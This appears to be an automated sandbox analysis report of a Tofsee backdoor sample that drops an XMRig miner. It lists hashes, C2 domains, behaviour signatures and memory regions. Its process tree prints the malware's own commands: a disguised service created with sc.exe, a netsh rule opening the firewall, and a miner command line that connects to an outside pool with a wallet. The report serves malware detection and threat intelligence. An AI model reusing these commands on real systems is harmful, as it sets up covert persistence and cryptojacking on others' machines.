Analysis

  • max time kernel
    297s
  • max time network
    306s
  • platform
    windows10-1703_x64
  • resource
    win10-20231023-en
  • resource tags

    arch:x64arch:x86image:win10-20231023-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/11/2023, 04:56

General

  • Target

    7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe

  • Size

    262KB

  • MD5

    81f5904645e44483a57226ab60e0390b

  • SHA1

    0bd97534d23998b6d554b48bddd0015d199808ec

  • SHA256

    7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7

  • SHA512

    5403b05a65105351fa5b6bc351b3613f930d16bbc0507045a340282029fdc688234fe3f92ef15fcdc9011650a3f96533f9254348bcf33159f381e8914abf281e

  • SSDEEP

    3072:pFzu3GMDmWLo3NrmuvLLCRpKbm/EJx9teHFKe0fk02q5XI7lVEaP:zzu2MqWLo9rmCXCR38biHF080VIjt

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe
    "C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qzsqkukg\
      2⤵
        PID:2108
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dgdwnpjz.exe" C:\Windows\SysWOW64\qzsqkukg\
        2⤵
          PID:4100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qzsqkukg binPath= "C:\Windows\SysWOW64\qzsqkukg\dgdwnpjz.exe /d\"C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qzsqkukg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qzsqkukg
          2⤵
          • Launches sc.exe
          PID:5028
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2852
      • C:\Windows\SysWOW64\qzsqkukg\dgdwnpjz.exe
        C:\Windows\SysWOW64\qzsqkukg\dgdwnpjz.exe /d"C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4740
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4496

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\dgdwnpjz.exe

              Filesize

              12.4MB

              MD5

              0b376b67a0fc3d509b96551e02ff8a60

              SHA1

              d4b2a9c290930e11782edc90ed9b4bb6593616df

              SHA256

              d8d253291657d42339fa1917ad82e5289af624023dd3e01362b69e067aa0b588

              SHA512

              2ea7d94cb712ff778f4c6e797885064aafe7cbb9c743e773d1e4113d829bb13037f4bd24326bf862c9a268fe7219a7a84f2a96c53005e1a2b4c4f947dd477a90

            • C:\Windows\SysWOW64\qzsqkukg\dgdwnpjz.exe

              Filesize

              12.4MB

              MD5

              0b376b67a0fc3d509b96551e02ff8a60

              SHA1

              d4b2a9c290930e11782edc90ed9b4bb6593616df

              SHA256

              d8d253291657d42339fa1917ad82e5289af624023dd3e01362b69e067aa0b588

              SHA512

              2ea7d94cb712ff778f4c6e797885064aafe7cbb9c743e773d1e4113d829bb13037f4bd24326bf862c9a268fe7219a7a84f2a96c53005e1a2b4c4f947dd477a90

            • memory/4352-1-0x0000000000A10000-0x0000000000B10000-memory.dmp

              Filesize

              1024KB

            • memory/4352-3-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/4352-4-0x00000000024B0000-0x00000000024C3000-memory.dmp

              Filesize

              76KB

            • memory/4352-6-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/4412-45-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-46-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-57-0x0000000003AE0000-0x0000000003AE7000-memory.dmp

              Filesize

              28KB

            • memory/4412-56-0x0000000008990000-0x0000000008D9B000-memory.dmp

              Filesize

              4.0MB

            • memory/4412-18-0x0000000002390000-0x00000000023A5000-memory.dmp

              Filesize

              84KB

            • memory/4412-19-0x0000000002390000-0x00000000023A5000-memory.dmp

              Filesize

              84KB

            • memory/4412-21-0x0000000002390000-0x00000000023A5000-memory.dmp

              Filesize

              84KB

            • memory/4412-22-0x0000000004240000-0x000000000444F000-memory.dmp

              Filesize

              2.1MB

            • memory/4412-25-0x0000000004240000-0x000000000444F000-memory.dmp

              Filesize

              2.1MB

            • memory/4412-26-0x00000000027A0000-0x00000000027A6000-memory.dmp

              Filesize

              24KB

            • memory/4412-29-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-32-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-34-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-35-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-33-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-41-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-40-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-44-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-36-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-43-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-42-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-10-0x0000000002390000-0x00000000023A5000-memory.dmp

              Filesize

              84KB

            • memory/4412-47-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-52-0x00000000031E0000-0x00000000031E5000-memory.dmp

              Filesize

              20KB

            • memory/4412-49-0x00000000031E0000-0x00000000031E5000-memory.dmp

              Filesize

              20KB

            • memory/4412-48-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-39-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-53-0x0000000008990000-0x0000000008D9B000-memory.dmp

              Filesize

              4.0MB

            • memory/4412-38-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4412-37-0x00000000027D0000-0x00000000027E0000-memory.dmp

              Filesize

              64KB

            • memory/4496-72-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-61-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-66-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-70-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-71-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-69-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-68-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-67-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-74-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4496-73-0x0000000002800000-0x00000000028F1000-memory.dmp

              Filesize

              964KB

            • memory/4740-14-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/4740-12-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/4740-9-0x0000000000A80000-0x0000000000B80000-memory.dmp

              Filesize

              1024KB